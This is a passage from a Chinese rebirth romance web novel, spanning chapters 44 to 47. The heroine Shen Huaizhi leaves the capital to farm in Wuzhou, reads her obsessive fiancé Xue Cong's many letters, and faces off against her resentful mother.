当年她因为两情相悦嫁给薛琮的祖父,助力他在兄弟之争中顺利袭爵,在背后一心为他出谋划策立足朝堂,结果,那个男人是怎么回报她的呢? 他背弃誓言移情别恋,在外面日日养着真爱与私生子,宛如神仙眷侣,生怕她们遭了她的毒手,一心谋划着为她们争取地位和利益。 这样一个薄情寡义的枕边人,她当然只能以牙还牙以血还血,选择亲手弄死他们,毕竟,妄图踩在她的心血和辛劳之上过好日子,想都不要想! 所以,女人还是要对自己好一点,男人这种东西,不要了管他去死。 太夫人拨着手里的佛珠,觉得自己是时候去小佛堂一趟了,毕竟,她那些旧日仇敌,还在地底下埋着呢,只有日日踩在他们身上,她这辈子才能过得畅快。 第44章 第44章—— 赐婚后,沈怀栀依旧要坚持南下这件事,老夫人是不太理解的,但结亲的薛家人都没说什么,她这时候当然不会跳出来说什么难听话。 尤其,无论是她还是沈家都是受益方。 也不怪她从前一心想同永嘉侯府结亲了,只看结亲之后那流水般送入春芜院的好东西以及薛家在外面大张旗鼓的替她这个孙女做脸面,她老人家的心情可谓日日都极好。 这不,家中其他姑娘的婚事也顺势水涨船高,已经出嫁的沾了光彩婆家更看重一分,未出嫁的婚事比从前更为顺遂,就 连那些未到年纪的,也开始有人殷勤打听,所以不怪她一心想着将孙女高嫁,实在是通过婚姻交换而来的利益真的是又快又直接。 反正,以永嘉侯世子如今在圣人面前受宠爱的程度,跟薛家结亲的沈家说是鸡犬升天也不为过了。 就是这样的情况下,沈怀栀竟然还坚持南下,且还能说服薛家同意她的打算与行程,饶是老夫人多年见惯大风大浪,也要亲口说一句薛世子当真是挚爱栀姐儿。 就这样,沈薛两家亲眼见证了沈怀栀同薛琮是如何快速走流程,最终在她南下之前将一切琐事料理好的。 “栀姐儿,你比祖母想象中要更幸运也更有勇气,”荣辉堂里,老夫人对即将南行的沈怀栀道,“现在,我都不知道遂了你的心意是帮你还是害你了。” 在孙女说要坚持带李嬷嬷一同南下后,老夫人不能不震惊于对方的选择与志气,哪怕她从前对这个孙女有过诸多算计,此时也要称道一句,不愧是被文谦先生收为弟子的姑娘,总有几分与众不同。 “当然是帮我,”沈怀栀笑道,“祖母该知道,一个人若是能按照自己的心意行事,如何能说是不好呢?” “好吧,你说了算。”老夫人道,“明日就要启程出发,你还是早些回院子里做准备吧,听说今日薛世子也要来送你,你们年轻人正好说说话。” 考虑到现在情况特殊,所以老夫人宽纵了孙女一回,毕竟薛家着实是个难得的金龟婿,两个已经赐婚的年轻孩子纵然一整日待在一起,也没什么好说道的,谁让栀姐儿明日就离京了呢。 春芜院里,沈怀栀一回来就看到了坐在临窗处认真打络子的薛琮,也不知道他是怎么在忙碌的日常里抽出时间学了这许多花样的,反正现在沈怀栀身上的配饰全都换成了他的手笔。 因着明日要走,所以沈怀栀现在心平气和极了。 “不用编这么多,等我去了南边,到时候要日日呆在田间,怕是没多少机会戴这些配饰,”她直言道,“有几个应付人就够了,你不必这么累。” “有没有和戴不戴是两回事,”薛琮头也不抬的道,“给你其他东西你总有许多理由搪塞我,如今不过是一个络子,难道你还要和我计较?” “计较的不是我,”沈怀栀神色平静的道,“如果我当真要计较,现在我们能不能心平气和的坐在这里还两说。” 薛琮停下手中动作,抬头看她,目光中是诸多隐忍的复杂情绪,最后,他轻声道,“这不是怀逸说的吗?喜欢要讲究方法和手段,既然我拦不住你,就只能让你别忘了我。” “说得这么可怜做什么?”沈怀栀不为所动道,“装得这么卑微可怜,可太不像你了,只会让人心生戒备,怀疑你又在打什么鬼主意。” 闻言,薛琮收敛起那副可怜姿态,无奈笑道,“何必把我想得这么坏,偶尔我也是很脆弱的。” “或许吧,”沈怀栀看他一眼道,“但我并不想深究。” “偏心的人是这样的,”薛琮自己煞有其事的点头,“怀逸无论做什么,你都会为他找理由开脱,至于我,你不往我身上甩黑锅,我都要庆幸自己今日运气好。” “同样都是喜欢你,区别对待至此,我若不耍些手段,当真是毫无立锥之地。” 对于薛琮这番话,沈怀栀没否认,她只是语气平淡的道,“说起喜欢,从前不懂事的时候,我只觉得喜欢就是喜欢,所以喜欢就要追着你嫁给你,不管你对我是什么感情,非要一心强求,所以最后情意落空也是我自作自受。” “虽然我的喜欢不怎么样,但做人还算有几分长进,至少做好了你的贤妻和孩子们的良母,凭良心说,我是不亏欠你和薛家的。” 她看向薛琮,“你也别拿我对怀逸的感情说事,我们两个半斤八两,在这件事上论对错最没有意义。” 薛琮沉默后道,“现在的我,只是做了从前的你而已,你非要这么苛责我们两个人吗?” “也不是苛责,”沈怀栀道,“只是我们如今经历了这么多,该长长教训了,实在不必将自己困在执念之内,贻害所有人。” “就像喜欢,现在的我觉得,喜欢是两个人的事情,你喜欢,我也喜欢,这才叫喜欢,若是只有一个人喜欢,不顾另一个人的感受,这叫伤害。” “正如圣人所说,己所不欲勿施于人,我现在已经懂得这个道理,希望你也能有所体悟而已。” 薛琮其实很不喜欢听沈怀栀说这些,就算她说得再诚恳再好听,目的也不过是打消他的执念而已,可他能做到吗? 如果他能做到,上辈子大权在握的他早就诸多美人在怀尽享风流了,而不是一日比一日更加沉迷佛道之学,大肆重用僧道之流,只为自己求一个不知能不能实现的来世。 别人家的皇帝坐拥江山权势之后都是谋求长生,只有他,仿佛生怕自己死得晚一样,一日日的折腾自己。 所以…… “你的话都是对的,”薛琮神色平静的道,“我很想全都如你所说,但只可惜,人心贪婪,我控制不住自己的贪婪之心。” 抑或者,他根本就不想控制。 身为延绵薛崔两家血脉的孩子,薛琮披着薛家人的皮,内里却是崔家人的骨,不因自己的私欲伤害她,已经是他极力控制的极限了。 “既然如此,那就走一步看一步吧。”沈怀栀没再多说,她不想自己弄巧成拙,万一不小心哪里刺激到薛琮,让她功亏一篑,那她才要哭死。 薛琮看着平静的沈怀栀,突然说,“你知道匣中恶鬼的故事吗?” 沈怀栀摇头,“没听过,你可以说来听听。” 总归薛琮说这些不是无的放矢,沈怀栀想知道他到底是什么意思,明天就要启程远航,她不由自主的警惕每一分变数。 “故事是这样的,”薛琮道,“有一个恶鬼,被天师封禁在匣子里,这个匣子被扔进大海深处,一日日的品尝着无尽的黑暗寒冷与孤独绝望,就这样,恶鬼在匣中呆了几百年,一直期待着能有人来救它。” “第一个百年,它愿意给救它升天的人享受不尽的荣华富贵,但它没能等来拯救者,第二个百年,它愿意满足救它之人的所有愿望,但它依旧没能得救,等到了第三个百年,终于有人来救它,你说,它会给拯救者带来什么?” 这个问题让沈怀栀沉默,薛琮却一定要从她嘴里得到答案,“真珠,你说,拯救者会得到什么?” “会得到无尽的憎恨与怨怼。”沈怀栀回答,毕竟,她所熟知的人性就是这样的。 说是匣中恶鬼,其实是人心恶欲才对,以人心来揣测,她所能想到的答案就是这样的。 无尽的等待,尤其是怀揣着希望的无尽等待,会彻底消磨一个人的心智,最终,让拯救者也成为了一个迟到多年的背叛者。 “所以,恶鬼在得救后,会杀了拯救它的人。”薛琮微微笑道,“在它已经习惯了孤独与绝望后,这个迟来的拯救者,会是它最憎恨的背叛者。” “当年我看到这个故事后,可以说是深有体会。” 薛琮没说他体会到了什么,但沈怀栀直觉那不是什么好念头。 “真珠,你说,现在在你面前的我,会是匣子里那个等了多少年的恶鬼呢?而你对我,又该有什么样的期望?” 沈怀栀彻底明白了薛琮的未尽之意,薛琮对她的步步紧逼,乃至于她对薛琮的抗拒与拒绝,一旦走到两败俱伤的 局面,最后接受不了的那个人肯定不是薛琮。 因为他永远比她更疯癫,更能豁得出去,他已经没什么可失去的了,能够接受最糟糕的局面,甚至于不介意自己亲手炮制最糟糕的结局,但沈怀栀,却还没做好失去一切的准备。 所以,她的想法是对的,不与疯子论长短得失,才是聪明人的做法。 眼前的薛琮,无疑可以说是目前情况下最好的薛琮了,她不用期待他变得更好,因为匣中恶鬼此时虽然满足了拯救者的愿望,但只要一念之差,它就会变成令一切鱼死网破的罪魁祸首。 沈怀栀第一次清楚的认识到,这就是薛琮的爱,而她从前期待的,竟然是如此可怕的东西。 所以,爱与恨,果然是永远的一体两面。 “我明白你的意思了,”沈怀栀说,“日后,我们好好相处吧。” 应该庆幸,她还有逃避的自由与空间,否则呆在薛琮身边,一定会变得窒息。 薛琮将她搂在怀里,温柔的笑了笑,“放心,我一定会对你好的。” 沈怀栀不可置否,伸手回抱了他,至少,别变得更糟糕了,她真的不想被毁掉如今窥见曙光的美好人生。 *** 第二日,五月初七,沈怀栀在家人与亲朋们的送别中,踏上了南下的行程。 从帝京出发,做马车去往津州码头,包括堂哥沈文远、表哥周文钰在内之人,在停泊在码头的大船边与众人道别。 即将分道扬镳,一去几千里,任是平日里再刻薄的人此时都一副温言软语惜惜离别的模样,薛琮站在沈怀栀身前,目光深深的看她,仿佛要将人彻底刻在自己的眼睛里。 离别在即,他却一改平日多话的模样,此时有些沉默,沈怀栀站在那里,同样不发一言。 “我要走了。”最后,众人打趣催促眼神里,沈怀栀率先开了口,“你保重。” 薛琮不发一言,就只是看她,那副好似在酝酿些什么模样让沈怀栀有些心惊胆战。 她从薛琮的眼神里看出了他随时打算将她重新掳回的意图,于是便不肯再耽搁,率先脚步轻快的登了船。 这天,薛琮到底是没能违背自己的诺言,放沈怀栀天高海阔一路南下寻求她梦想中的自由去了。 只是临走前,在他又给了她许多亲手编织的络子时,她同样回赠了他一块平安玉。 薛琮将平安玉紧紧的捏在手心,看着大船扬风起航一路南下,直到对方彻底消失在天际线,才终于舍得挪动脚步。 希望他的决定是对的,希望他这么做是真的能挽回她,不然,他怕自己会当真成了毁灭一切的匣中恶鬼…… 而沈怀栀,此时站在迎风的甲板上,笑意畅快,两辈子,她终于挣脱樊笼,开始新的人生了。 第45章 第45章这是薛琮干的好事? 梧州的夏天,是沈怀栀难得喜欢的夏天。 这里与帝京不同,冬无严寒,夏无酷暑,四季都有鲜妍明媚的绿色,在帝京被闷热干旱笼罩时,身在梧州的一干人等反而享受到了避暑的乐趣。 此时的沈怀栀坐在院中的树荫下,正一边喝酸梅汤一边复盘着自己近期的种植计划。 如今已是她到达梧州的第三个月,她本人并未在州城的刺史府居住,而是一早就同父亲商量,搬来了她早就看中买下的庄园里。 至于为此惹得母亲不快这件事,她是半点不放在眼里心上的,毕竟,她并不想看她端着所谓好母亲的做派日日装模作样。 真心诚意她都已经不想要,更遑论是虚情假意。 盛夏时节,坐在毗邻着山川的庄园里,能看到远处巍峨的雪山和碧波荡漾的湖水,爽朗熏人的微风里,是清脆的蝉鸣鸟啼和花草香气,身处如此情境,日日只需为理想费神,任谁来看这都是难得的神仙日子。 甚至于,沈怀栀都觉得这是自己两辈子以来过得最好最舒心的日子了。 “姑娘,午饭备好了,您先用饭吧。”冬青从小厨房那里过来,同丫头们一起端着饭菜送到树荫下的石桌上。 最近沈怀栀尤其喜欢在这里用饭或忙碌正事,因为专门准备了一大一小两个石桌方便自己使用,她放下手中毛笔,将写好的东西放到一旁晾干,满面笑容的走到一旁用饭。 虽说沈家的规矩是食不言寝不语,但沈怀栀如今做人只管自己高兴,反而不介意用饭时聊些闲话,就像她此时问冬青的问题,“薛良他们昨日去府城,人还没回来吗?” “没有,”冬青道,“按之前的情况来说,人早该回来了,现在还没动静,可能是在城里有事耽搁了。” 沈怀栀想了下道,“等人回来,你让薛良组织庄园里的护卫们在附近巡猎两趟,最近田间地头多了不少麻烦的小东西,影响我安排农事。” 冬青爽快应下,将这件事加入自己的日程安排里。 用过午饭后,沈怀栀在院中简单转了两圈儿散步,自打南下之后,她心情就一直是轻松畅快的。 虽说在南行的船上需要面对陈理,但彼此既已决定划清界限,不给对方造成困扰,两个有心人自然是有志一同的维持好了彼此的体面。 沈怀栀不再越界,而陈理也不去探究曾经心上人的白月光,他们能够如常的谈天说笑,将所有异样隐藏在完美的面具背后。 这样就足够了,无疑,这是他们共同的想法。 五月南下,是顺风顺水的旅程,船上除了陈理之外,还有周文钰同沈文远,年龄相近的年轻人总能找到共同的话题,尤其是大家都是第一次独自南下远行,情绪激昂之下反而让这场同行显得热闹有趣起来。 虽然沈怀栀参与的不多,但她知道,无论是堂哥还是表哥乃至于陈理,这趟旅程都还是很愉快的。 这样的好心情让连日来赶路的疲累与辛劳都减轻了许多,等一路进入梧州之后,边疆之地的特殊景致与民俗风情更是让诸人大开眼界。 沈怀栀的父亲梧州刺史沈景焕不愧是浸淫官场许久的老手,一场家宴聚会给足了小辈们面子和风光,当然,也不忘在外宣扬一下陈理那位官居吏部尚书的父亲以及自家女儿得圣人赐婚侯府世子的排面,最重要的,是决不能忘了将沈怀栀师从文谦先生这件事广而告之。 于是,一时之间,沈刺史家的这点儿私事迅速成为了州城里最大的热闹。 除此之外,表哥周文钰那张脸也是短短时间内便在梧州城内扬了名,很是招惹了不少姑娘家的芳心,而堂哥沈文远,单他姓沈,还是沈刺史心爱的才华横溢的侄子,就注定了他此行引人注目。 总之,不提沈怀栀南下的真正目的,他们这一行人可谓是替沈刺史赚足了脸面与风光。 但是等风光过后,一些小小的麻烦也随之而来,比如尚且未婚被盯上的周文钰同陈理,纵然沈怀栀的母亲刺史夫人想要亲自保媒,这两人也是唯恐避之不及,所以,在短暂的呆了一段时间之后,二人便以游学的名义迅速离开了州府。 因为沈怀栀一早定下了自己的落脚之地,因而在刺史府内停留的时间并不长,纵然双亲极力挽留,她依旧带着人早早的搬来了庄园。 父亲那里,他是被利益说服的,但母亲那里,起初并不顺利,为了应对这个感情淡薄疏远的亲生母亲,沈怀栀一早为她准备了厚礼。 比如代表着沈老夫人脸面的心腹亲信李嬷嬷,比如出身永嘉侯府备受太夫人信重专门安排来照顾未来孙媳的张嬷嬷,以及薛琮专门让宫中赐下为她处理琐事的教养嬷嬷徐嬷嬷,最后加上薛琮为了她的安全专门安排的诸多护卫…… 乌乌泱泱一大堆人,可以说是瞬间占据了刺史府半边天,沈怀栀清 楚记得自己将身边那些老成持重的嬷嬷们介绍给母亲时对方那难看的面色与欲言又止的神情,说实话,看着就让人心情痛快。 对于她这位亲生母亲,她倒不会没良心到故意给对方找不痛快,但同样的,她也不想让对方给自己找不痛快,所以,未雨绸缪的在相见之初摆明车马,反而是最好的选择。 最后,母亲果然放弃了对她人生的干预与控制,虽然心不甘情不愿,但沈怀栀才不管她什么心情,她只要得到自己想要的结果就好。 倒是薛良,这个前世备受薛琮重用的心腹,如今带着许多护卫一路跟随她南下,为了她的安危保驾护航,虽说每旬要去州城向他那个主子事无巨细的汇报有关她的一切,但只要薛琮人不在跟前,沈怀栀就能做到眼不见心不烦。 她散完步正准备去午休,就见冬青顶着一张红扑扑的脸匆匆忙忙而来,“姑娘,薛良他们回来了!” “回来就回来,你这么着急做什么,”沈怀栀笑着递过去一张帕子让人擦脸,“先喝口水,有话慢慢说。” 冬青灌了一杯凉茶壶里的薄荷茶,等气喘匀了才道,“薛护卫他们先一步赶路回来,带了消息过来,说是夫人一早同他们一路启程往庄园这边来了,说要来探望姑娘,剩下的人则晚一步跟在后面,要将京里送给姑娘的东西运过来。” 沈怀栀倒不在意京里送什么,总归她现在每个月都能收到薛琮送来的东西,无论是衣食住行还是钱财人脉资源,但凡他觉得她能用得上的,都毫不吝啬。 如果说能一直这样下去互不相扰的话,沈怀栀觉得如今这桩婚约她还是乐意接受的。 总归她是为了做正事,完全不介意自己到底花用的是谁的钱财,只要最终结果是好的有利的,这种利国利民之事,那对所有人来说就皆大欢喜。 她坚信,无论是父亲还是薛琮,都是需要这份功绩和成果的,反正她不和政客们谈良心,只谈利益和价值。 “姑娘?”冬青出声唤了下有些走神的沈怀栀,皱着眉头道,“夫人就快要来了。” 冬青是坚定站自家姑娘的,所以夫人的出现对她来说只有四个字,来者不善。 “来就来吧,”沈怀栀不以为意道,“我们这位刺史夫人,无事不登三宝殿,我倒是好奇她来见我是想达成什么目的。” 午后时光悠悠而过,当沈怀栀在树荫下的躺椅中眯了一觉时,她的亲生母亲梧州刺史夫人颜翠云也终于到达了庄园。 沈怀栀打理好自己后,带着人出门迎接,宁静清凉的夏日微风里,风韵美貌不减当年的沈夫人终于等到了她的亲生女儿同样是这辈子冤家的沈怀栀。 “母亲登门,女儿有失远迎,”沈怀栀微微笑道,“还望母亲海涵。” “我也是临时起意要来探望你,”沈夫人淡淡道,“你素日总是呆在庄园里少去州城,母亲心里惦记你罢了。” 一对感情生疏只有面子情分的母女就这样简单的寒暄几句后,终于在正厅落座,谈及正事。 下人面前,彼此还要顾及体面做一对亲母女,等伺候的人都被遣退,两人也就打开天窗说亮话了。 “母亲此番前来有什么目的?”沈怀栀捧茶慢饮,问得直接。 沈夫人同样不遮遮掩掩,开门见山的道,“你父亲最近多了个新宠,我需要你帮忙。” “身为女儿,如何能干预父亲房中事?”沈怀栀笑道,“尤其我如今还是未嫁女,更不宜插手父亲母亲的私事。” “而且,以母亲的手段,一个新宠罢了,远不到需要依靠我的地步。” 闻言,沈夫人神情复杂的看了她一眼,皮笑肉不笑的扯了扯嘴角,“若是普通的新宠,我自然不在意,但偏偏,这是宫中赐下的美人,说是陛下怜惜你父亲镇守边疆的辛劳,专门下旨赐下的可心人,我纵然想如何,也是有心无力。” 沈怀栀放下茶盏,微微摇头道,“既然是圣人的心意,父亲理应笑纳,母亲何必多想,总归再如何娇媚的美人,也动摇不了母亲的地位。” “动摇不了我的地位?”沈夫人冷笑一声,面色不善道,“栀姐儿你太看轻你那位好未婚夫的本事了,你应当问问他,我沈家到底哪里得罪了他,以致于他要专门放个祸害在家里,闹得我们满门鸡犬不宁。” 所以,这是薛琮干的好事? 沈怀栀眉心一跳,突然觉得薛琮不是给沈家找麻烦,而是给她找麻烦。 第46章 第46章—— “这件事你打算怎么办?”沈夫人皱眉问道,“沈家的内宅之中着实不需要一个喜欢兴风作浪的女人。” “母亲不觉得这个问题问错了人吗?”沈怀栀笑着反问道,“内宅是父亲和母亲的内宅,美人是圣人所赐的美人,就算其中真有世子的手笔,母亲要来质问的人也不应当是我。” “我只是一个府外别居安分守己的女儿,还没有那么大的本事去为父母解忧除烦。” “看来你是不打算帮忙了?”沈夫人不客气的道,“几年不见,你真是越来越像你那位好祖母了。” “母亲这是说哪里话?”沈怀栀佯装不解的问道,“母亲忘了吗,我是被祖父祖母养大的,自小跟在两位老人家身边,说话行事当然会有长辈们的影子,所谓言传身教不外如是。” 最后,沈夫人是被自己这个不省心的大女儿气走的。 跟着丈夫外任多年,一路随着丈夫从下州刺史升迁到上州刺史,沈夫人养尊处优已久,少有被人违逆之时,纵然真遇到一些不好打交道的夫人,大家看在彼此夫君的面子上,多少也会客客气气的维持体面,是以,她当真已经有好几年没被人这么当场驳回颜面了。 尤其,这个人还是从前一力讨好她试图亲近她的亲生女儿。 总之,每当看到现在这个性情大变不给她面子还酷似老夫人做派的沈怀栀,她都很难不生出情绪波动来。 亲生母亲拂袖离开后,沈怀栀在书房里见到了办完事来回话的薛良。 薛良将身上背着的包袱解开,放到沈怀栀面前的桌案上,语调恭敬,“姑娘,这是世子给您的信,我全都带回来了,其中还有两封来自陈公子与李公子。” 沈怀栀看着包袱里塞得满满的一堆信封,眉心跳了跳,“除了信之外,你家公子还有什么要交代的吗?还有,府城那边沈府内宅里圣人赐下的美人,又是个什么章程?” 薛良回道,“世子这边没有额外的口信要转达,至于沈府内宅之事,世子的人说所有情况都写在信里,姑娘只需仔细看信即可。” “既然如此,那你去休息吧,”沈怀栀道,“有什么事我会吩咐你的。” 等人离开后,书房中只剩沈怀栀自己时,她和桌案上那堆信面面向觎许久,最后叹了口气,率先拆开了陈理的信件。 同周文钰外出结伴游学之后,沈怀栀差不多每个月能接到陈理一封信,虽然信件不多,但送回来的东西却不算少,自从知晓她现在一心沉浸农业之后,他外出之时经常会收集一些有用的农学著作或者种植经验,以及花样繁多的植物种子,对她也算帮助良多。 这次送回的信里,说是在某地遇到了一种有些特殊的稻种,再过不久就会托人送回,希望能对她有所助益。 很简短的一封信,多是友人之间的问候,没有半点暧昧与越界之辞,沈怀栀看完之后,嘴角微微弯起,虽然陈理没说太多有关自己的情况,但她却从字里行间看出了海阔天空之象,看来他的游学之行确实不错,她心里自然宽慰。 看完陈理的信之后,再看薛琮那堆信,她深吸口气,随意拆 开了其中一封。 不算厚的信件里,内容只有薄薄一张,沈怀栀打开一看,上面只有几句话,“今天做了点好事,有点想你,所以为你准备了许多礼物,我觉得你应当会很喜欢。” 除此之外,只有清晰的日期停在左下角。 一封信看过,再拆第二封,依旧简短无比。 “今天做了点不好不坏的事,很想你,所以挑了几个从前给你添过堵的人挨个收拾,也总算是没有虚耗光阴,虽然以你的心性恐怕早已忘得干干净净。” “当然,这个忘记,也包括我,毕竟你走了之后就一封信都未曾给我写过。” 第二封之后是第三封第四封第五封等等…… “京里最近很热闹,只可惜你不在,看不见这份热闹,为了同你分享,决定挑几个倒霉蛋收拾,好让大家都感受一下我爱妻不在身边的郁闷。” “今天没做坏事,但很想你,天气有点阴沉,不太高兴。” “下雨了,午睡的时候梦里都是你,本来梦里你对我极温柔,结果醒来前那一刻却突然给了我一耳光,我觉得约莫是你在南边骂我的缘故。” “这是第二十七封信,等攒够了送去南边时,不知道能不能等来你给我的回信。” “突然想起从前的事,那时候我远行出门不带你,所以现在你也不乐意带上我,一报还一报,也算公平。” “好想见你好想见你好想见你,感觉这京里是一日都待不下去了。” …… 沈怀栀就这样慢慢看完了几十封信,纵然每封都不长,但积攒在一起,也是非常可观的一大堆了。 至此,她终于明白沈家内宅之祸从何而来了,倒也没什么阴谋算计,纯粹是薛琮看她那对亲生爹娘不顺眼,随手给他们找了些小麻烦而已。 你看,薛琮这种人,爱屋及乌对他来说少见,但恨屋及乌迁怒于人却是熟练至极。 纵然口口声声说是挚爱的她,在薛琮心里,照旧是发起疯来能随时同归于尽的十分憎恨的背叛者。 第47章 第47章—— 沈怀栀是绝对不希望薛琮南下来到她身边的,纵然他如今看起来十分沉浸于在帝京的名利场中兴风作浪,但也不意味着他哪一日不会突然发疯抛下一切来找她。 如果是从前的薛琮,她不会如此揣测,但自从见识过他十分特别的精神状态后,她就再也不敢笃定。 为此,她今日难得提起笔来,打算写上一封回信。 至于回信的内容,则是坦然又平和的。 她简单叙述了一下自己到达梧州后的生活,即便薛琮已经从他那些属下的口中知道得清清楚楚,她依旧不厌其烦的写了个清楚,很显然,内容如何不重要,关键是态度问题。 得到自己想要的生活之后,沈怀栀是万分不想薛琮某些突如其来的举动和想法成为现在生活的阻碍和绊脚石,所以,为此她可以在原则之内进行妥协。 只要薛琮能让她如愿,她是可以低头退让的。 当然,仅限于她划定的界限之内。 给薛琮的这封信写了很多很久,直到外面太阳将要落山,冬青有些担心的来寻她,她才将写好的信封好,打算在合适的时候转交给薛良。 “姑娘,我看夫人心情还是不太好。”两人一同往外走的时候,冬青不无担忧的道,“您说,她今日来,是不是打算在庄子上久待?” 作为姑娘身边自小陪伴长大的婢女,冬青可以说是亲历了自家姑娘多年来的所有情感转变,因此很能理解她对沈夫人的感情。 她自然是不想姑娘受委屈的,但如今孝道当前,还是生身母亲,有时候是真的要被迫顺应世道和世俗的。 “父亲内宅多了位不好料理的新宠,母亲心情不佳也是理所当然,”沈怀栀慢条斯理的道,“不过,就算不开心也是短暂的,母亲最清楚她自己想要什么,所以不会在庄子上待太久的。” 话是这么说,但当天晚上一起用饭时,对着沈夫人那张心情欠佳的脸,沈怀栀到底没能好好用完这顿饭。 沈怀栀咽下口中最喜欢的鲜竹笋片,放下碗筷,直接对沈夫人道,“若是母亲觉得女儿这里的饭菜不合口味,不如早日回城?我会安排护卫将母亲一路安全护送回府的。” “你这是撵我走?”沈夫人不快的道,“栀姐儿,你当真是被你祖母教养得越来越没有规矩和礼仪了。” 沈怀栀闻言挑了下眉,微微一笑道,“母亲这话我可不敢苟同,祖母出身名门世家,教养小辈们的规矩礼仪一向极好,若母亲觉得我差劲,女儿觉得,可能是因为根骨问题吧。” 言下之意,因为随了母亲这边的血脉,所以才如此不讨人喜欢。 毫无疑问,沈夫人被女儿这番话刺到了,自从当年她同夫君结缘之后,最为痛恨老夫人的一点就是对方拿着她的出身门第和规矩礼仪挑刺说事,为此可以说是和这位婆母闹得水火不容,以致于多年来宁愿跟随夫君外任都死也不愿意回京城。 偏偏此时,当面用这个逆鳞来刺她的是自己的亲生血脉,由不得她怒气冲冲。 “沈怀栀,你就是这样对你的亲生母亲说话的?!”沈夫人怒道,“当真是没有半点孝之心德。” “母亲这话我可不敢苟同,”沈怀栀摇头道,“都说母慈子孝,母亲既然对我不慈,我自然也没办法像弟妹们一样,做母亲贴心懂事的好儿女。” “我何曾对你不慈?”沈夫人嘲讽道,“就因为我更偏爱养在身边的儿女,你就要怨恨你的亲生母亲?” 沈怀栀不去看母亲那张有些狰狞扭曲的脸,视线落在窗外殷红的晚霞之上,语气淡淡的道,“我生的这是亲生女儿吗?我看生的这是个冤家!她被那个老不死的养得像极了她,我真是看见她就心烦!若是天南地北的离得远一些我还能对她有两分慈爱之心,可她偏偏要来我面前碍我的眼,还想我待她像龙凤胎一样疼爱,当真是痴人说梦——” “住口!”当意识到沈怀栀在说些什么时,沈夫人立刻失态的高声阻止。 她神色惊疑不定的看着眼前的女儿,整个人都慌乱极了,眼神里尽是恐惧与畏缩。 “看来,母亲是记起来了。”沈怀栀转头看向她,神色平和,不见半分当年听到这席话时的痛苦与怨恨,“当年母亲既然不想我在身边,我便如了母亲的意,如今母亲为何不能让我如愿清净一些呢?” 短暂的心虚与愧疚过去,沈夫人厉声出言指责道,“当年你小小年纪就背着人偷听长辈说话,当真是不成体统!” “那又如何呢?”沈怀栀微微一笑,“终归是听到了母亲的真心话,要不然,我还不知道要在母亲面前不识趣的碍眼多久。” “过去的事你这么计较做什么?”沈夫人不快的道,“天下无不是的父母,你如今是要和我计较过去这些旧事了?” “计较谈不上,”沈怀栀轻描淡写的道,“只是不喜欢母亲这副没有自知之明的模样罢了。” “沈怀栀,你可知你在说些什么?!”沈夫人重重的拍了眼前的桌子一掌,沉闷声响里,她声色俱厉的道,“公然出言辱没生母,你简直大逆不道!” “母亲既然生气,不妨出门去宣扬一下我的恶行,”沈怀栀面带微笑抬手送客,“只要母亲敢说,当着任何人的面我都敢认,绝不会否认一字一句,如此,母亲还满意吗?” 沈夫人当然不满意,今日之事,但凡她 敢泄露一句,最先和她翻脸的绝对不是沈怀栀,而是她那位好夫君。 沈怀栀看着对方强忍怒气的模样,轻声笑了下,“看来母亲也清楚自己做不到,至于原因,我们彼此心知肚明。” “虽然我不是个好女儿,但对父亲的前程来说却极为有用,只要我对父亲的官途有一分助益,他就不会容忍母亲毁了我。” “你当真以为,母亲拿你没有办法?”沈夫人满脸厌恶的道。 “那倒不是,”沈怀栀神情诚恳的道,“一个母亲,在孝道大于天的时代,能收拾一个姑娘的手段多得是,前提是,母亲敢真的对我动手。” “你真以为你父亲会一直护着你,会由着你如此羞辱你的母亲?”沈夫人冷笑道,“作为你父亲的枕边人,我可比你了解他。” “是啊,同样是靠男人,母亲和我都需要依靠父亲,”沈怀栀语气徐徐的道,“只是母亲忘了,我比你多了一个男人做靠山。” “你是说薛世子?”沈夫人嗤笑道,“你还没嫁进薛家呢,当真以为侯府太夫人和世子会容忍你这些丧德败行之举?” “会啊,”沈怀栀笑意悠然的道,“世子爱我至深,至于到底有多深,大概是母亲今日敢给我一耳光的话,等消息传到京里,这刺史夫人从此就会换了人做那么深吧。” “简直是胡说八道!”沈夫人此时可谓是已经被气得七窍生烟。 沈怀栀对此是半点不在意,她这个母亲,是付出一分后会从她身上榨取一百分回报的精明之人,前世的她早已磨尽了她所有心软与感情,以致于今生她只想和她两不相干客气相处。 但对方显然不满于此,一定要来试探她的脾气和底线,既如此,那沈怀栀不介意开门见山一击即中。 “你、你当真是大逆不道——”被气疯的沈夫人此时神色扭曲的看着自己的亲生女儿,像是在看一个令人恐惧的恶鬼。 沈怀栀面上带着两分志得意满,内心却平静极了。 有时候,她会觉得人心是如此无法直视,毕竟,当她第一次发现母亲心里竟然是十分嫉妒她的时候,花费了许久才敢确认。 她的亲生母亲,当年和父亲冲破家里阻碍才在一起的所谓真爱,在经年之后爱意凋残,夫妻体面之下是谁都不曾说出口的怨恨。 丈夫对妻子的怨恨,是仕途蹉跎,妻子对丈夫的怨恨,则是他爱意浅薄,她从此战战兢兢如履薄冰,这样一对夫妻,除了不爱她,对沈怀栀来说本不该有太多影响。 直到母亲对女儿的美满生活生出嫉妒之心。 沈怀栀是真的很难想象,在她为那些流言蜚语困扰难过时,她的母亲给予的不是安慰与支持,而是落井下石与尖酸刻薄,她是真的乐于品尝她的痛苦得到快乐。 就像她那时候对她说的那些话—— “你怎能如此不贤德?竟不知给侯爷添美纳色,妒妇一般是要毁了你妹妹的名声吗?” “你真是和你那个祖母一样贪得无厌惹人厌烦!” “你还有什么不满足的!你到底想要什么?是不是这全天下的好事都得归你一人你才满意?!” …… 一直到薛琮与李玉瑶的风流韵事传得沸沸扬扬,她才从她那里得了几许安慰与好脸色,毕竟,她这个被嫉妒的女儿终于沦落到与母亲一样的境地了。 她终于不再那么幸福圆满了,有些人心里憋着的那口气也终于能顺畅了。 所以,这样一个母亲,你要针对她自然只能拿捏她的软肋。 而沈夫人的软肋,毫无疑问是男人的爱。 她对此是如此的耿耿于怀,并且难以释然。 这时候,沈怀栀倒觉得薛琮的存在是一个极好用的工具了,并且,她不介意多用几次。 最后,这晚被她气疯了的人沈夫人是连夜赶路离开的,目送着马车消失在夜色中渐渐远去,她觉得自己也是时候安排一场远行了。 于是,半个月后将庄园这边的一应事宜安排好交给冬青主理后,她带着冬桃薛良等人,踏上了去某地的旅途。 不过沈怀栀没想到的是,薛琮这个人,提多了是要遭现世报的,而她很不幸,信写得再多再厚都没能心想事成。 第48章 第48章—— 